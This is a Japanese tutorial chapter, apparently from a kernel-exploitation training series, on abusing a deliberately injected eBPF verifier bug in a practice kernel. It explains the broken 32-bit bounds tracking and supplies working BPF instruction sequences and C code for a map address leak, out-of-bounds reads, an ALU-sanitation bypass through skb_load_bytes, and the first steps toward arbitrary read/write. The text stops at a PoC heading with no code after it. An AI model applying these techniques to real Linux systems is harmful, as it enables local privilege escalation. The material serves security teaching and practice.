この章では、eBPFの中でも検証器のバグを悪用して権限昇格に挑戦します。まずは、LK06 (Brahman)の配布ファイルを用意してください。

パッチの確認

今回は練習用にeBPFを脆弱にするため、検証器に対してバグを埋め込むパッチが適用されています。patch/verifier.diffにその内容があるので、確認してみましょう。

1
2
3
4
5
7957c7957,7958
< __mark_reg32_known(dst_reg, var32_off.value);
---
> // `scalar_min_max_or` will handler the case
> //__mark_reg32_known(dst_reg, var32_off.value);

kernel/bpf/verifier.cの7957行目[1]に変更が入っています。

scalar32_min_max_or関数の冒頭で__mark_reg32_knownという関数が呼ばれていますが、パッチ適用後はコメントアウトされています。それ以外の変更はないので、この部分を詳しく見ていきましょう。

scalar32_min_max_orを読む

変更が入っているscalar32_min_max_orの呼び出し元はadjust_scalar_min_max_valsです。この関数では、ADDやXORなどのALU演算後の宛先レジスタの範囲追跡を実装しています。
修正が入っているのはBPF_ORです。

1
2
3
4
5
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg);
scalar_min_max_or(dst_reg, &src_reg);
break;

まず、tnum_orで宛先レジスタのvar_offを更新しています。実装は単純で、ORするビットの両方が不明であれば、宛先も不明とします。片方のビットが不明な時でも、もう片方が1であればORした結果も必ず1になるため、maskの対応するビットは0になります。

1
2
3
4
5
6
7
8
struct tnum tnum_or(struct tnum a, struct tnum b)
{
u64 v, mu;

v = a.value | b.value;
mu = a.mask | b.mask;
return TNUM(v, mu & ~v);
}

例えば(mask=0xffff0000; value=0x1001)(mask=0xffffff00; value=0x2)をORすると、(mask=0xffffef00; value=0x1003)になります。

var_offを更新したら、問題のscalar32_min_max_orが呼ばれます。削除されている箇所はsrc_known, dst_knownがtrueのときに到達します。

1
2
3
4
5
6
7
8
9
10
11

bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);

...

if (src_known && dst_known) {
// `scalar_min_max_or` will handler the case
//__mark_reg32_known(dst_reg, var32_off.value);
return;
}

tnum_subreg_is_constは、レジスタの下位32ビット部分が定数のときにtrueを返します。つまり、ORするレジスタの両方とも下位32ビットが定数のとき、本来は__mark_reg32_knownが呼ばれるはずでした。
__mark_reg32_knownは、定数のvar_offを使ってs32_min_value, s32_max_value, u32_min_value, u32_max_valueを更新します。

1
2
3
4
5
6
7
8
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const_subreg(reg->var_off, imm);
reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}

パッチ中のコメントに「scalar_min_max_or will handler the case」とあるので、scalar_min_max_orも追ってみます。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

static void scalar_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umin_val = src_reg->umin_value;

if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value);
return;
}

...
}

基本的にはscalar32_min_max_orの64ビット版です。ここで、両方とも64ビットの値が定数のとき、__mark_reg_knownが呼ばれます。__mark_reg_knownは、64ビット部分に加えて32ビットの範囲も定数に変更しています。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

/* This helper doesn't clear reg->id */
static void ___mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const(imm);
reg->smin_value = (s64)imm;
reg->smax_value = (s64)imm;
reg->umin_value = imm;
reg->umax_value = imm;

reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}

/* Mark the unknown part of a register (variable offset or scalar value) as
* known to have the value @imm.
*/
static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)
{
/* Clear id, off, and union(map_ptr, range) */
memset(((u8 *)reg) + sizeof(reg->type), 0,
offsetof(struct bpf_reg_state, var_off) - sizeof(reg->type));
___mark_reg_known(reg, imm);
}

つまり、ORの64ビットレジスタが両方とも定数の場合、scalar32_min_max_or__mark_reg32_knownを呼ばなくても、後のscalar_min_max_orで問題なく定数になるという仕組みです。

では、64ビットレジスタの上位32ビットが定数でない場合はどうでしょうか。scalar32_min_max_orは即座にreturnしますが、scalar_min_max_or__mark_reg_knownは呼ばれません。
このとき、scalar_min_max_or中の次のパスに到達します。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->umin_value = max(dst_reg->umin_value, umin_val);
dst_reg->umax_value = dst_reg->var_off.value | dst_reg->var_off.mask;
if (dst_reg->smin_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->smin_value = S64_MIN;
dst_reg->smax_value = S64_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->smin_value = dst_reg->umin_value;
dst_reg->smax_value = dst_reg->umax_value;
}
/* We may learn something more from the var_off */
__update_reg_bounds(dst_reg);

umin_value, umax_value, smin_value, smax_valueを更新したあと、__update_reg_boundsが呼ばれます。

1
2
3
4
5
static void __update_reg_bounds(struct bpf_reg_state *reg)
{
__update_reg32_bounds(reg);
__update_reg64_bounds(reg);
}

こちらでも32ビット、64ビットともに範囲を更新しています。ということは、パッチは不要な処理を削除しただけでしょうか?

__update_reg32_boundsを読む

__update_reg32_boundsの処理をよく見てみましょう。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);

/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask & S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask & S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
}

__mark_reg32_knownが呼ばれていないため、32ビットのmin, maxは古い状態のままです。これを利用して更新されるmin, maxに不整合を起こせないでしょうか。簡単のために符号なしの場合を考えます。

1
2
3
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));

今、レジスタの下位32ビットはsrc, dstともに定数です。そのため、var32_off.maskは0で、次のように書き直せます。

1
2
reg->u32_min_value = max(reg->u32_min_value, var32_off.value);
reg->u32_max_value = min(reg->u32_max_value, var32_off.value);

u32_min_valueu32_max_valueは宛先レジスタの元の状態が引き継がれています。下位32ビットは定数である必要があるので、元のu32_min_valueu32_max_valueはともにXという値だったとします。これに対して何かしらの定数YをORして、結果がX|Yになります。すると、X|Y > Xのとき、

1
2
reg->u32_min_value = max(X, X|Y); // min=X|Y
reg->u32_max_value = min(X, X|Y); // max=X

となり、u32_min_valueu32_max_valueよりも大きくなるという不整合が起きます。

バグの再現

簡単のためにX=0, Y=1として考えましょう。
まず、次のようなレジスタR1, R2を用意します。

1
2
R1: var_off=(value=0; mask=0xffffffff00000000)
R2: var_off=(value=0xfffffffe00000001; mask=0)

これをBPF_OR(R1, R2)でORした際の変化を見てみましょう。

  1. var_off=(value=0xfffffffe00000001; mask=0x100000000)
  2. u32_min_value = max(0, 1) = 1
  3. u32_max_value = min(0, 1) = 0

これにより、32ビット部分の最小値が1、最大値が0という壊れたレジスタができます。実際にコードで確認しましょう。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// BPFマップを作成
int mapfd = map_create(8, 1);

/* BPFプログラム */
struct bpf_insn insns[] = {
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),

// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),

// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0)
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

このプログラムをロードし、検証器のログverifier_logを出力してみてください。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/ $ ./pwn 
func#0 @0
0: R1=ctx(off=0,imm=0) R10=fp0
0: (7a) *(u64 *)(r10 -8) = 0 ; R10=fp0 fp-8_w=mmmmmmmm
1: (18) r1 = 0x0 ; R1_w=map_ptr(off=0,ks=4,vs=8,imm=0)
3: (bf) r2 = r10 ; R2_w=fp0 R10=fp0
4: (07) r2 += -8 ; R2_w=fp-8
5: (85) call bpf_map_lookup_elem#1 ; R0_w=map_value_or_null(id=1,off=0,ks=4,vs=8,imm=0)
6: (55) if r0 != 0x0 goto pc+1 ; R0_w=P0
7: (95) exit

from 6 to 8: R0=map_value(off=0,ks=4,vs=8,imm=0) R10=fp0 fp-8=mmmmmmmm
8: (79) r1 = *(u64 *)(r0 +0) ; R0=map_value(off=0,ks=4,vs=8,imm=0) R1_w=Pscalar()
9: (77) r1 >>= 32 ; R1_w=Pscalar(umax=4294967295,var_off=(0x0; 0xffffffff))
10: (67) r1 <<= 32 ; R1_w=Pscalar(smax=9223372032559808512,umax=18446744069414584320,var_off=(0x0; 0xffffffff00000000),s32_min=0,s32_max=0,u32_max=0)
11: (b7) r2 = -2 ; R2_w=P-2
12: (67) r2 <<= 32 ; R2_w=P-8589934592
13: (07) r2 += 1 ; R2_w=P-8589934591
14: (4f) r1 |= r2 ; R1_w=Pscalar(umin=18446744065119617025,umax=18446744069414584321,var_off=(0xfffffffe00000001; 0x100000000),s32_min=1,s32_max=0,u32_min=1,u32_max=0) R2_w=P-85891
15: (b7) r0 = 0 ; R0_w=P0
16: (95) exit
processed 16 insns (limit 1000000) max_states_per_insn 0 total_states 1 peak_states 1 mark_read 1

14個目のOR命令で

1
R1_w=Pscalar(...,s32_min=1,s32_max=0,u32_min=1,u32_max=0)

と、範囲追跡が壊れていることが分かります。

オオカミくん

このバグは実際にOR, AND, XOR命令で過去に存在していたものだよ。

アドレスリーク

今回のように、min_value > max_valueという条件ができた場合、それを悪用する方法はいくつかあります。まずはマップのアドレスリークに使ってみましょう。
eBPFではポインタに対するスカラー値の加減算が許可されています。ポインタとスカラー値の演算におけるオフセットのアップデートは、adjust_ptr_min_max_valsに実装されています。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{

...

bool known = tnum_is_const(off_reg->var_off);
s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,
smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;
u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,
umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;

...

if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
smin_val > smax_val || umin_val > umax_val) {
/* Taint dst register if offset had invalid bounds derived from
* e.g. dead branches.
*/
__mark_reg_unknown(env, dst_reg);
return 0;
}

...

上記のコードを読むと、今回のようにスカラー値側の追跡が壊れているケースでは、演算結果を__mark_reg_unknownで不明な値にしています。
つまり、追跡を壊したレジスタとポインタを加算すると、結果はスカラー値として扱われます。スカラー値はBPFマップに書き込めるので、アドレスリークが可能です。さっそくmap_lookup_elemで取得したBPFマップのポインタをリークしてみましょう。
先ほどs32_min_valueなどの推測を壊しましたが、上記コードではsmin_valなど64ビットレジスタが壊れている必要があります。32ビット値を64ビット値に拡張するには、x86-64と同じように、BPF_MOV32_REGを使って32ビットのレジスタにコピーすれば良いです。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0)
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

// R0 --> scalar
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),

// スカラー値となったポインタを保存
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

次のようにBPFマップのアドレスがリークできていれば成功です。R1には1が入っていたので、加算により実際よりもアドレスが1ずれていることに注意してください。

マップアドレスのリーク

このアドレスを見ると、正しく配列の先頭要素(リークしたデータ)が入っています。

リークしたアドレスの周辺

0x110引いたところは、メタデータを含むBPFマップの先頭になります。今回は配列形式で作っているので、bpf_array構造体が存在します。例えば先頭にある0xffffffff81c124a0という値は、bpf_map構造体opsという関数テーブルになります。今回は使いませんが、eBPFの攻撃ではこのopsを書き換えて権限昇格する手法もあります。

この方法はadjust_ptr_min_max_valsのコードを知っていないと気づけませんが、実際にはこれを利用しなくてもexploitが書けます。(例題を参照)

マップのアドレスを持っていると以降のkASLRリークが簡単になるため、アドレスは持っておきましょう。マップのfdを渡すと(最後に1を引いた)アドレスを返してくれるように、関数化しておくとコードが綺麗になります。

オオカミくん

root権限では標準でポインタのリークが許可されているから、eBPFのexploitをデバッグするときは必ず一般ユーザー権限での動作確認も忘れないでね。

範囲外参照

前章でも少し触れましたが、2022年現在はALU sanitationという緩和機構が入っているため、かつてのように単純には範囲外参照ができません。
しかし、まずは「単純な」範囲外参照を試してみましょう。
実は、ALU sanitationはbpf_bypass_spec_v1という関数がtrueを返したときはスキップされます。この関数はroot権限ではtrueを返すので、root権限では今でも範囲外参照を試せます。
そこで、まずはroot権限で「単純な」範囲外参照を試してみましょう。

追跡が壊れた定数の作成

検証器の誤りを悪用する上で便利なのは、「検証器がXと思っているが実際にはYである定数(XX!=Y)」を作ることです。とくにX=0,Y!=0のときは、何を掛けても検証器は0と判断するので、範囲外参照のオフセットを作るのに都合が良いです。
まずは「検証器が0と思っているが実際には1である定数」を作ってみましょう。

今、R1はu32_min_valueが1でu32_max_valueが0になっています。反対に、R2にu32_min_valueが0でu32_max_valueが1である(壊れていない)値を入れます。ここでR1とR2の加算を考えると、範囲は[1,0]+[0,1]=[1,1]になることが分かります。

最小値、最大値が同じレジスタは、MOVなどのタイミングで定数扱いになります。R1の実際値は1でしたが、R2は0か1を取ります。したがって、加算結果は[1,2]でなければなりません。しかし、検証器は加算後のR1を定数1と判断してしまうため、実際には2が入っている状況が生まれます。
あとはR1から1を引けば、目的の「検証器は0と思っているが実際には1である定数」が作れます。

u32_min_valueが0でu32_max_valueが1であるR2は、論理・算術演算を組み合わせるか、条件分岐で1より大きいケースを捨てることで作成できます。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// BPFマップを作成
int mapfd = map_create(8, 1);
val = 1;
map_update(mapfd, 0, &val);

/* BPFプログラム */
struct bpf_insn insns[] = {
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / 実際値:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / 実際値:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2), // 1より大きいケースを破棄
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// R1 --> 0 / 実際値:1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

// R1の実際の値を見てみる
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

このプログラムを実行した後のマップ(R1の実際の値)を確認してみると、1になっていることが分かります。一方、22番目の命令終了時点で検証器はR1に0が入っていると推測しています。

追跡が壊れた定数の作成

範囲外参照の確認

先ほどのコードで、追跡結果が定数0になるにも関わらず、実際には1を持つようなレジスタが作れました。このレジスタに適当な数を掛けて、マップのポインタに足すと、結果として範囲外を指す有効なポインタが作れます。

実際に試してみましょう。
次のBPFプログラムは、壊れたレジスタに0x100を掛けることで、「推測値=0 / 実際値=0x100」の状況を作り、それを使ってマップの範囲外をBPF_LDX_MEMで読んでいます。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
int main() {
char verifier_log[0x10000];
unsigned long val;

// BPFマップを作成
int mapfd = map_create(8, 1);

unsigned long addr_map = leak_map_address(mapfd);
printf("[+] addr_map = 0x%016lx\n", addr_map);

val = 1;
map_update(mapfd, 0, &val);
/* BPFプログラム */
struct bpf_insn insns[] = {
// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

// R1 --> 0 / actual: 0x100
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x100),

// 範囲外参照でデータをR2にリーク
BPF_MOV64_REG(BPF_REG_3, BPF_REG_9),
BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_1),
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),

// リークしたデータをユーザー空間で受け取る
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_2, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

/* ソケット用に設定 */
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};

/* BPFプログラムをロード */
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
printf("%s\n", verifier_log);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

/* ソケットを作成 */
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");

/* ソケットを利用(BPFプログラムの発動) */
write(socks[1], "Hello", 5);

map_lookup(mapfd, 0, &val);
printf("val = 0x%016lx\n", val);

getchar();

return 0;
}

このプログラムをroot権限で実行すると、次のように、設定した覚えのない値が読めていることが分かります。

単純な範囲外参照

実際にgdbで確認すると、マップのアドレスから0x100先にリークしたデータが存在します。

gdbで範囲外参照の値を確認

なお、0x100という定数をMOVで渡すと、検証器に範囲外参照を検知されることから、脆弱性に起因して範囲外参照を起こせていることが分かります。

しかし、一般ユーザー権限で同じプログラムを実行すると、ALU sanitationが加算による範囲外参照を0の加算に変換してしまうため、次のように何もデータがリークできません。(最初から入れていた値1が取り出されていることからも、ALU sanitationにより加算が意味を成していないことが分かります。)

ユーザー権限では範囲外参照に失敗
オオカミくん

ALU sanitationがない時代は、この手法でbap_map構造体のopsなどを読み書きする攻撃が主流だったよ。

ALU sanitationの回避

幸いにも今回の対象であるカーネルv5.18.14では、ALU sanitationを回避する方法が存在します。考え方としては、ポインタへの(範囲外になる)加減算がパッチされてしまうので、既存のヘルパー関数にその処理をやってもらおうという発想になります。

一般ユーザーから使えるヘルパー関数は少ないですが、オフセットやサイズを引数に取る関数を調べてみましょう。すると、ソケットフィルタでは例えばskb_load_bytesという関数が使えます。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

BPF_CALL_4(bpf_skb_load_bytes, const struct sk_buff *, skb, u32, offset,
void *, to, u32, len)
{
void *ptr;

if (unlikely(offset > INT_MAX))
goto err_clear;

ptr = skb_header_pointer(skb, offset, len, to);
if (unlikely(!ptr))
goto err_clear;
if (ptr != to)
memcpy(to, ptr, len);

return 0;
err_clear:
memset(to, 0, len);
return -EFAULT;
}

static const struct bpf_func_proto bpf_skb_load_bytes_proto = {
.func = bpf_skb_load_bytes,
.gpl_only = false,
.ret_type = RET_INTEGER,
.arg1_type = ARG_PTR_TO_CTX,
.arg2_type = ARG_ANYTHING,
.arg3_type = ARG_PTR_TO_UNINIT_MEM,
.arg4_type = ARG_CONST_SIZE,
};

この関数は、パケットの内容をBPF側(マップやスタック)にコピーできます。
第一引数をコンテキスト、第二引数をコピーしたいパケットデータのオフセット、第三引数をコピー先のバッファ、第四引数をコピーするサイズに指定します。コピー元はパケットデータなので、writeでソケットに送ったデータがコピーされます。
この関数を呼び出す際に引数が範囲外でないかを判断しますが、ALU sanitationの影響は受けません。したがって、関数内部で範囲外へのデータコピーが実現できます。

実際に試してみましょう。今、BPFマップのデータサイズは8なので、8バイト以上コピーできれば成功です。
試しに検証器が1と判断し、実際の値が0x10であるようなレジスタを作ります。writeで0x10バイト以上のデータを送り、それがマップにコピーされているかをgdbで確認します。(サイズとして0(と推測される値)を渡すと検証器に警告されるので注意)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// map[0]に書き込み(ALU sanitationの回避)
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_9), // arg3=to (&map[0])
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),
...

上のプログラムでは、BPFマップの0番目の要素(最初に取得したアドレスR9に保存している)に対してskb_load_bytesでパケットデータを書き込みます。実際には0x10バイト書き込まれますが、検証器は1バイトと推測しているため許可されます。
プログラムを呼び出す際に、次のように0x10バイトのデータを送ってみましょう。

1
2
3
4
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = 0xdeadbeefcafebabe;
write(socks[1], payload, 0x10);

実行後にgdbでマップのアドレスを確認すると、下図のように、今回のデータサイズである8バイトを超えて範囲外書き込みできていることが分かります。

ALU sanitationを回避した範囲外書き込み

ヒープ上での範囲外書き込みが実現できているため、後はみなさんの好きな方法でexploitできるでしょう。例えばBPFマップを2つ並べて、後ろのマップのopsを書き換えるなどの方法が考えられます。
しかし、せっかくなので今回は、BPFの特徴を生かしてAAR/AAWを実現してみましょう。

AAR/AAWの作成

BPFのスタックにはポインタが書き込めることを思い出しましょう。スタックに保存したデータは型や範囲が追跡されています。
したがって、skb_load_bytesを使ってスタック上で範囲外[2]書き込みをすれば、スタック上に保存されたポインタをパケットデータで上書きできます。上書きされた後も検証器はポインタとして認識しているため、偽のポインタを読み書きできます。

図で表すと、下のようになります。

ポインタの書き換えによるAAR/AAW

最後に書き換えられたFP-0x18にあるデータはポインタとしてマークされているため、BPF_LDX_MEMで取り出せばポインタとして扱えます。
このように、BPFの特徴を活かせば簡単にAAR/AAWを作ることができるのです。

AAR/AAWのPoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
